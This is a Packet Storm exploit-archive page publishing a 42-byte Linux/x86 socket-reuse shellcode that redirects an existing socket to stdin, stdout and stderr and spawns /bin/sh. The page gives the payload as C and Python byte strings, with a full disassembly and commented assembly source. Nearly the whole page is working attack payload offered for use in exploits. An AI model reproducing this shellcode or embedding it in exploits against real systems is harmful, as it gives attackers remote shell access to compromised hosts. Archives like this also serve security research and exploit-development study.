exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 execve(/bin/sh) Socket Reuse Shellcode

Linux/x86 execve(/bin/sh) Socket Reuse Shellcode
Posted Oct 22, 2019
Authored by WangYihang

42 bytes small Linux/x86 execve(/bin/sh) socket reuse shellcode.

tags | x86, shellcode
systems | linux
SHA-256 | 06940cd962d0fb34cda215179e7f8392804cd9243f8253e5bd126a6f374b2d79

Linux/x86 execve(/bin/sh) Socket Reuse Shellcode

Change Mirror Download
# Exploit Name: Linux/x86 - execve(/bin/sh) socket reuse Shellcode (42 bytes)
# Author : WangYihang
# Date: 2019-10-22
# Tested on: Linux_x86
# Shellcode Length: 42
# CVE: N/A
;================================================================================
# Shellcode :
char shellcode[] = "\x31\xdb\xb3\x03\x31\xc9\xb1\x03\xfe\xc9\x31\xc0\xb0\x3f\xcd\x80\x80\xf9\xff\x75\xf3\x31\xc9\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
;================================================================================
# Python :
shellcode = "\x31\xdb\xb3\x03\x31\xc9\xb1\x03\xfe\xc9\x31\xc0\xb0\x3f\xcd\x80\x80\xf9\xff\x75\xf3\x31\xc9\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
;================================================================================
; Build :
; $ nasm -f elf32 shellcode.asm -o shellcode
; $ objdump -d shellcode

; shellcode: file format elf32-i386


; Disassembly of section .text:

; 00000000 <_start>:
; 0: 31 db xor %ebx,%ebx
; 2: b3 03 mov $0x3,%bl
; 4: 31 c9 xor %ecx,%ecx
; 6: b1 03 mov $0x3,%cl

; 00000008 <dup2>:
; 8: fe c9 dec %cl
; a: 31 c0 xor %eax,%eax
; c: b0 3f mov $0x3f,%al
; e: cd 80 int $0x80
; 10: 80 f9 ff cmp $0xff,%cl
; 13: 75 f3 jne 8 <dup2>

; 00000015 <execve>:
; 15: 31 c9 xor %ecx,%ecx
; 17: 6a 0b push $0xb
; 19: 58 pop %eax
; 1a: 99 cltd
; 1b: 52 push %edx
; 1c: 68 2f 2f 73 68 push $0x68732f2f
; 21: 68 2f 62 69 6e push $0x6e69622f
; 26: 89 e3 mov %esp,%ebx
; 28: cd 80 int $0x80

;================================================================================
; Assembly language source code :
; shellcode.asm
;global _start
; _start:
; set ebx to the old socket fd = 3
; xor ebx, ebx
; mov bl, 03H
;
; init new socket fd
; xor ecx, ecx
; mov cl, 3
;
; dup2(socket, stdin)
; dup2(socket, stdout)
; dup2(socket, stderr)
; dup2:
; dec cl
; xor eax, eax
; mov al, 3FH
; int 80H
; cmp cl, 0FFH
; jne dup2
;
; execve:
; execve("/bin/sh", "/bin/sh", 0)
; xor ecx, ecx
; push 0bH
; pop eax
; cdq
; push edx
; push "//sh"
; push "/bin"
; mov ebx, esp
; int 80H
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close